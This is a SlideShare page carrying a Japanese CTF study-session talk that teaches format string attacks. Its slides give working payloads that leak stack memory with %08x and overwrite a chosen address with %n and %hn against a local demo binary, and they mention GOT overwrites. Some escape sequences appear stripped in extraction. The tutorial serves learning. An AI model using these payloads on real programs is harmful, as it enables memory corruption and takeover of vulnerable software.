Suche senden
Hochladen
Format string Attack
•
Als ODP, PDF herunterladen
•
5 gefällt mir
•
4,344 views
I
icchy
Folgen
CTF-working@UEC 7/27
Weniger lesen
Mehr lesen
Technologie
Melden
Teilen
Melden
Teilen
1 von 61
Jetzt herunterladen
Empfohlen
flaws.cloudに挑戦しよう!
flaws.cloudに挑戦しよう!
zaki4649
初心者向けCTFのWeb分野の強化法
初心者向けCTFのWeb分野の強化法
kazkiti
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru
ctfで学ぼうリバースエンジニアリング
ctfで学ぼうリバースエンジニアリング
junk_coken
Glibc malloc internal
Glibc malloc internal
Motohiro KOSAKI
とある診断員とSQLインジェクション
とある診断員とSQLインジェクション
zaki4649
セキュリティを楽しむ(CTFとbugbountyの始め方)
セキュリティを楽しむ(CTFとbugbountyの始め方)
kazkiti
プログラムを高速化する話
プログラムを高速化する話
京大 マイコンクラブ
Empfohlen
flaws.cloudに挑戦しよう!
flaws.cloudに挑戦しよう!
zaki4649
初心者向けCTFのWeb分野の強化法
初心者向けCTFのWeb分野の強化法
kazkiti
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru
ctfで学ぼうリバースエンジニアリング
ctfで学ぼうリバースエンジニアリング
junk_coken
Glibc malloc internal
Glibc malloc internal
Motohiro KOSAKI
とある診断員とSQLインジェクション
とある診断員とSQLインジェクション
zaki4649
セキュリティを楽しむ(CTFとbugbountyの始め方)
セキュリティを楽しむ(CTFとbugbountyの始め方)
kazkiti
プログラムを高速化する話
プログラムを高速化する話
京大 マイコンクラブ
RSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjp
sonickun
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)
Shota Shinogi
目grep入門 +解説
目grep入門 +解説
murachue
Pythonによる黒魔術入門
Pythonによる黒魔術入門
大樹 小倉
Apache Arrow - データ処理ツールの次世代プラットフォーム
Apache Arrow - データ処理ツールの次世代プラットフォーム
Kouhei Sutou
ヤフー社内でやってるMySQLチューニングセミナー大公開
ヤフー社内でやってるMySQLチューニングセミナー大公開
Yahoo!デベロッパーネットワーク
メタプログラミングって何だろう
メタプログラミングって何だろう
Kota Mizushima
エンジニアの個人ブランディングと技術組織
エンジニアの個人ブランディングと技術組織
Takafumi ONAKA
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
CODE BLUE
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
kwatch
DockerコンテナでGitを使う
DockerコンテナでGitを使う
Kazuhiro Suga
できる!並列・並行プログラミング
できる!並列・並行プログラミング
Preferred Networks
PenTesterが知っている危ないAWS環境の共通点
PenTesterが知っている危ないAWS環境の共通点
zaki4649
Ctfのためのpython入門
Ctfのためのpython入門
shiracamus
CTF for ビギナーズ バイナリ講習資料
CTF for ビギナーズ バイナリ講習資料
SECCON Beginners
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達
zaki4649
例外設計における大罪
例外設計における大罪
Takuto Wada
明日使えないすごいビット演算
明日使えないすごいビット演算
京大 マイコンクラブ
katagaitai CTF勉強会 #5 Crypto
katagaitai CTF勉強会 #5 Crypto
trmr
Dockerfile を書くためのベストプラクティス解説編
Dockerfile を書くためのベストプラクティス解説編
Masahito Zembutsu
Format string vunerability
Format string vunerability
nuc13us
CTFを楽しむやで
CTFを楽しむやで
Takeru Ujinawa
Weitere ähnliche Inhalte
Was ist angesagt?
RSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjp
sonickun
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)
Shota Shinogi
目grep入門 +解説
目grep入門 +解説
murachue
Pythonによる黒魔術入門
Pythonによる黒魔術入門
大樹 小倉
Apache Arrow - データ処理ツールの次世代プラットフォーム
Apache Arrow - データ処理ツールの次世代プラットフォーム
Kouhei Sutou
ヤフー社内でやってるMySQLチューニングセミナー大公開
ヤフー社内でやってるMySQLチューニングセミナー大公開
Yahoo!デベロッパーネットワーク
メタプログラミングって何だろう
メタプログラミングって何だろう
Kota Mizushima
エンジニアの個人ブランディングと技術組織
エンジニアの個人ブランディングと技術組織
Takafumi ONAKA
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
CODE BLUE
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
kwatch
DockerコンテナでGitを使う
DockerコンテナでGitを使う
Kazuhiro Suga
できる!並列・並行プログラミング
できる!並列・並行プログラミング
Preferred Networks
PenTesterが知っている危ないAWS環境の共通点
PenTesterが知っている危ないAWS環境の共通点
zaki4649
Ctfのためのpython入門
Ctfのためのpython入門
shiracamus
CTF for ビギナーズ バイナリ講習資料
CTF for ビギナーズ バイナリ講習資料
SECCON Beginners
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達
zaki4649
例外設計における大罪
例外設計における大罪
Takuto Wada
明日使えないすごいビット演算
明日使えないすごいビット演算
京大 マイコンクラブ
katagaitai CTF勉強会 #5 Crypto
katagaitai CTF勉強会 #5 Crypto
trmr
Dockerfile を書くためのベストプラクティス解説編
Dockerfile を書くためのベストプラクティス解説編
Masahito Zembutsu
Was ist angesagt?
(20)
RSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjp
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)
目grep入門 +解説
目grep入門 +解説
Pythonによる黒魔術入門
Pythonによる黒魔術入門
Apache Arrow - データ処理ツールの次世代プラットフォーム
Apache Arrow - データ処理ツールの次世代プラットフォーム
ヤフー社内でやってるMySQLチューニングセミナー大公開
ヤフー社内でやってるMySQLチューニングセミナー大公開
メタプログラミングって何だろう
メタプログラミングって何だろう
エンジニアの個人ブランディングと技術組織
エンジニアの個人ブランディングと技術組織
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
DockerコンテナでGitを使う
DockerコンテナでGitを使う
できる!並列・並行プログラミング
できる!並列・並行プログラミング
PenTesterが知っている危ないAWS環境の共通点
PenTesterが知っている危ないAWS環境の共通点
Ctfのためのpython入門
Ctfのためのpython入門
CTF for ビギナーズ バイナリ講習資料
CTF for ビギナーズ バイナリ講習資料
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達
例外設計における大罪
例外設計における大罪
明日使えないすごいビット演算
明日使えないすごいビット演算
katagaitai CTF勉強会 #5 Crypto
katagaitai CTF勉強会 #5 Crypto
Dockerfile を書くためのベストプラクティス解説編
Dockerfile を書くためのベストプラクティス解説編
Andere mochten auch
Format string vunerability
Format string vunerability
nuc13us
CTFを楽しむやで
CTFを楽しむやで
Takeru Ujinawa
シェル芸初心者によるシェル芸入門 (修正版)
シェル芸初心者によるシェル芸入門 (修正版)
icchy
WinDbg Primer
WinDbg Primer
inaz2
[MOSUT] Format String Attacks
[MOSUT] Format String Attacks
Aj MaChInE
Summary of "Hacking", 0x351-0x354
Summary of "Hacking", 0x351-0x354
Taku Miyakawa
Buffer overflow attacks
Buffer overflow attacks
Kapil Nagrale
Trend Micro CTF Asia Pacific & Japan -defensive100-
Trend Micro CTF Asia Pacific & Japan -defensive100-
boropon
CTF初心者🔰
CTF初心者🔰
icchy
Buffer overflow attacks
Buffer overflow attacks
Joe McCarthy
プログラミングコンテストでのデータ構造
プログラミングコンテストでのデータ構造
Takuya Akiba
Andere mochten auch
(11)
Format string vunerability
Format string vunerability
CTFを楽しむやで
CTFを楽しむやで
シェル芸初心者によるシェル芸入門 (修正版)
シェル芸初心者によるシェル芸入門 (修正版)
WinDbg Primer
WinDbg Primer
[MOSUT] Format String Attacks
[MOSUT] Format String Attacks
Summary of "Hacking", 0x351-0x354
Summary of "Hacking", 0x351-0x354
Buffer overflow attacks
Buffer overflow attacks
Trend Micro CTF Asia Pacific & Japan -defensive100-
Trend Micro CTF Asia Pacific & Japan -defensive100-
CTF初心者🔰
CTF初心者🔰
Buffer overflow attacks
Buffer overflow attacks
プログラミングコンテストでのデータ構造
プログラミングコンテストでのデータ構造
Kürzlich hochgeladen
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Hiroshi Tomioka
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
atsushi061452
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
iPride Co., Ltd.
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
iPride Co., Ltd.
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
Hiroshi Tomioka
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
Toru Tamaki
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
iPride Co., Ltd.
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
Toru Tamaki
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NTT DATA Technology & Innovation
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
CRI Japan, Inc.
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
CRI Japan, Inc.
Kürzlich hochgeladen
(11)
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
Format string Attack
1.
Format string Attack '14
7.27 CTF勉強会@UEC
2.
こんにちは
3.
Who am I
4.
5.
自己紹介 ● @icchyr ● 某濃厚な大学のB2 ●
CTF初心者 ● tuat_mcc
6.
人前でLTをするのは初
7.
何を話すか ● CTF初心者 – ちょうど1年くらい?
8.
何を話すか ● CTF初心者 – ちょうど1年くらい? –
去年のSECCONが初めてのCTF ● 「SQLインジェクションって何」 ● 「XSSって何」
9.
Format string Attack
10.
Format string Attack ●
つよそう ● フォーマット文字列攻撃 – printf(“%s”, hoge); – %d, %x, %sなど
11.
Format string Attack scanf(“%s”,
hoge); printf(hoge);
12.
Format string Attack scanf(“%s”,
hoge); printf(hoge); ● 危険
13.
Format string Attack scanf(“%s”,
hoge); printf(hoge); ● 危険 ● 受け取った文字列をそのまま出力している
14.
Format string Attack scanf(“%s”,
hoge); printf(hoge); ● ./a.out AAAA%08x
15.
Format string Attack scanf(“%s”,
hoge); printf(hoge); ● ./a.out AAAA%08x – AAAAf7ff7000(適当な値)
16.
Format string Attack scanf(“%s”,
hoge); printf(hoge); ● ./a.out AAAA%08x – AAAAf7ff7000(適当な値) ● ./a.out $(perl -e “print 'AAAA'.',%08x'x10”) – AAAA,f7ff7000,f7dd5ab0,f7b01040,f7ff7000,0 0000001,ffffdfe8,f7ff9cd8,41414141,30252c78 ,2c783830
17.
Format string Attack scanf(“%s”,
hoge); printf(hoge); ● ./a.out AAAA%08x – AAAAf7ff7000(適当な値) ● ./a.out $(perl -e “print 'AAAA'.',%08x'x10”) – AAAA,f7ff7000,f7dd5ab0,f7b01040,f7ff7000,0 0000001,ffffdfe8,f7ff9cd8,41414141,30252c78 ,2c783830
18.
Format string Attack scanf(“%s”,
hoge); printf(hoge); ● ./a.out AAAA%08x – AAAAf7ff7000(適当な値) ● ./a.out $(perl -e “print 'AAAA'.',%08x'x10”) – AAAA,f7ff7000,f7dd5ab0,f7b01040,f7ff7000,0 0000001,ffffdfe8,f7ff9cd8,41414141,30252c78 ,2c783830 AAAA
19.
Format string Attack ●
%08xを手で打つのはめんどくさい – ./a.out $(printf “AAAA”),%08x,%08x,...
20.
Format string Attack ●
%08xを手で打つのはめんどくさい – %10$08x
21.
Format string Attack ●
%08xを手で打つのはめんどくさい – %10$08x ● 10番目の引数を参照する
22.
Format string Attack ●
%08xを手で打つのはめんどくさい – %10$08x ● 10番目の引数を参照する (実際には$をエスケープする)
23.
Format string Attack ●
%08xを手で打つのはめんどくさい – %10$08x ● 10番目の引数を参照する ● ./a.out $(printf “AAAA”),%8$08x – AAAA,41414141
24.
Format string Attack ●
%08xを手で打つのはめんどくさい – %10$08x ● 10番目の引数を参照する ● ./a.out $(printf “print 'AAAA”),%8$08x – AAAA,41414141 ● /a.out $(printf “print 'AAABBBBB”),%8$08x%9$08x – AAAA,4241414142424242 ● リトルエンディアン・アドレスが続いている
25.
Format string Attack ●
./a.out $(printf “xddxccxbbxaa”),%8$08x
26.
Format string Attack ●
./a.out $(printf “xddxccxbbxaa”),%8$08x – 0xaabbccddのアドレスの中を見られる
27.
Format string Attack ●
./a.out $(printf “xddxccxbbxaa”),%8$08x – 0xaabbccddのアドレスの中を見られる – 実際は微調整が必要(実行ファイル名の長 さ)
28.
Format string Attack ●
%nというフォーマット文字列がある
29.
Format string Attack ●
%nというフォーマット文字列がある – いままで出力したバイト数を引数に書き込 む
30.
Format string Attack ●
%nというフォーマット文字列がある – いままで出力したバイト数を引数に書き込 む – これを用いれば任意のアドレスの内容を書 き換えられるのでは
31.
Format string Attack
32.
Format string Attack ●
まずは出力した文字が格納される位置を調べ る – ./a.out $(perl -e “print 'AAAA'.',%08x'x20) – AAAA,ffffd313,6474e552,f7fe565d,f7e25baf,f7f dc5dc,00001e3c,ffffd164,ffffcf0c,00000000,0000 0001,41414141,3830252c,30252c78,252c7838 ,2c783830,78383025,3830252c,30252c78,252 c7838,2c783830 val'splace 0x804a02c :0
33.
Format string Attack ●
まずは出力した文字が格納される位置を調べ る – ./a.out $(perl -e “print 'AAAA'.',%08x'x20) – AAAA,ffffd313,6474e552,f7fe565d,f7e25baf,f7f dc5dc,00001e3c,ffffd164,ffffcf0c,00000000,0000 0001,41414141,3830252c,30252c78,252c7838 ,2c783830,78383025,3830252c,30252c78,252 c7838,2c783830 val'splace 0x804a02c :0
34.
Format string Attack ●
まずは出力した文字が格納される位置を調べる – ./a.out $(perl -e “print 'AAAA'.',%08x'x20) – AAAA,ffffd313,6474e552,f7fe565d,f7e25baf,f7fdc5dc,0 0001e3c,ffffd164,ffffcf0c,00000000,00000001,414141 41,3830252c,30252c78,252c7838,2c783830,7838302 5,3830252c,30252c78,252c7838,2c783830 val'splace 0x804a02c :0 – 11番目
35.
Format string Attack ●
./a.out $(printf “AAAA”),%11$08x
36.
Format string Attack ●
./a.out $(printf “AAAA”),%11$08x – AAAA,41414141 val'splace 0x804a02c :0
37.
Format string Attack ●
./a.out $(printf “AAAA”),%11$08x – AAAA,41414141 val'splace 0x804a02c :0 ● ./a.out $(printf “x2cxa0x04x08”),%11$n
38.
Format string Attack ● ./a.out
$(printf “AAAA”),%11$08x – AAAA,41414141 val'splace 0x804a02c :0 ● ./a.out $(printf “x2cxa0x04x08”),%11$n – , ,� val'splace 0x804a02c :5 succeeded!!!
39.
Format string Attack ● ./a.out
$(printf “AAAA”),%11$08x – AAAA,41414141 val'splace 0x804a02c :0 ● ./a.out $(printf “x2cxa0x04x08”),%11$n – , ,� val'splace 0x804a02c :5 succeeded!!! – 書き換えに成功している – (x2cxa0x04x08,の5文字->5)
40.
Format string Attack ●
./a.out $(printf “x2cxa0x04x08”) ,%100x%11$08x
41.
Format string Attack ●
./a.out $(printf “x2cxa0x04x08”) ,%100x%11$08x – , ,� ffffd36c val'splace 0x804a02c :105 succeeded!!!
42.
Format string Attack ●
./a.out $(printf “x2cxa0x04x08”) ,%100x%11$08x – , ,� ffffd36c val'splace 0x804a02c :105 succeeded!!! – 出力するバイト数を調節することで任意の値にで きる
43.
Format string Attack ●
自由な値に書き換えたい – 0x804a02cの中身を0x40404040にしたいとする
44.
Format string Attack ●
自由な値に書き換えたい – 0x804a02cの中身を0x40404040にしたいとする – 0x40404040-0x5バイト出力するのは現実的では ない
45.
Format string Attack ●
自由な値に書き換えたい – 0x804a02cの中身を0x40404040にしたいとする – 0x40404040-0x5バイト出力するのは現実的では ない ● メモリの構造を利用する
46.
Format string Attack ●
0x804a02dに5を書き込むとどうなるか ● ./a.out $(printf “x2dxa0x04x08”) ,%11$08x
47.
Format string Attack ●
0x804a02dに5を書き込むとどうなるか ● ./a.out $(printf “x2dxa0x04x08”) ,%11$08x – - ,� val'splace 0x804a02c : 1280 succeeded!!!
48.
Format string Attack ●
0x804a02dに5を書き込むとどうなるか ● ./a.out $(printf “x2dxa0x04x08”) ,%11$08x – - ,� val'splace 0x804a02c : 1280 succeeded!!! – 1280(0x0500) – 桁位置を指定することができる
49.
Format string Attack ●
ただし%nは8バイト書きこむので上位ビット が潰れてしまう
50.
Format string Attack ●
ただし%nは8バイト書きこむので上位ビット が潰れてしまう – %hn(ニブル)を使う – 2バイト分書きこむ
51.
Format string Attack ●
0x804a02cの中身を0x40404040にしたいと する – ./a.out $(printf “x2cxa0x04x08”),%59x %11$hn
52.
Format string Attack ●
0x804a02cの中身を0x40404040にしたいと する – ./a.out $(printf “x2cxa0x04x08”),%59x %11$hn →0x804a02c:0x40
53.
Format string Attack ●
0x804a02cの中身を0x40404040にしたいと する – ./a.out $(printf “x2cxa0x04x08”),%59x %11$hn →0x804a02c:0x40 – ./a.out $(printf “x2cxa0x04x08x2dxa0x04x08”),%55x %11$hn%64%12$hn
54.
Format string Attack ●
0x804a02cの中身を0x40404040にしたいと する – ./a.out $(printf “x2cxa0x04x08”),%59x %11$hn →0x804a02c:0x40 – ./a.out $(printf “x2cxa0x04x08x2dxa0x04x08”),%55x %11$hn%64%12$hn →0x804a02c:0x4040
55.
Format string Attack ●
0x804a02cの中身を0x40404040にしたいと する – ./a.out $(printf “x2cxa0x04x08”),%59x %11$hn →0x804a02c:0x40 – ./a.out $(printf “x2cxa0x04x08x2dxa0x04x08”),%55x %11$hn%64%12$hn 59-4
56.
Format string Attack ●
0x804a02cの中身を0x40404040にしたいとする – ./a.out – $(printf "x2cxa0x04x08x2dxa0x04x08x2exa0x04x08x 2fxa0x04x08"),%47x%11$hn%12$hn%13$hn %14$hn – , - . / , ffffd34e� � � � val'splace 0x804a02c : 1077952576(0x40404040) succeeded!!!
57.
Format string Attack ●
0x804a02cの中身を0x40404040にしたいとする – ./a.out – $(printf "x2cxa0x04x08x2dxa0x04x08x2exa0x04x08x 2fxa0x04x08"),%47x%11$hn%12$hn%13$hn %14$hn – , - . / , ffffd34e� � � � val'splace 0x804a02c : 1077952576(0x40404040) succeeded!!!
58.
Format string Attack ●
0x40414243を書きこみたい場合など – 0x43,0x42,0x41,0x40の順に書き込みたい
59.
Format string Attack ●
0x40414243を書きこみたい場合など – 0x43,0x42,0x41,0x40の順に書き込みたい ● %255x(0xff)出力する({現在の値}-1になる) – うまく計算する必要がある
60.
Format string Attack ●
書き換え可能なアドレスを操ることができる – すごい – 実際には呼び出される関数のアドレスに任意の値 を代入して予期せぬ動作を起こさせる – GOT(global offset table)の書き換えなど
61.
ありがとうございました
Jetzt herunterladen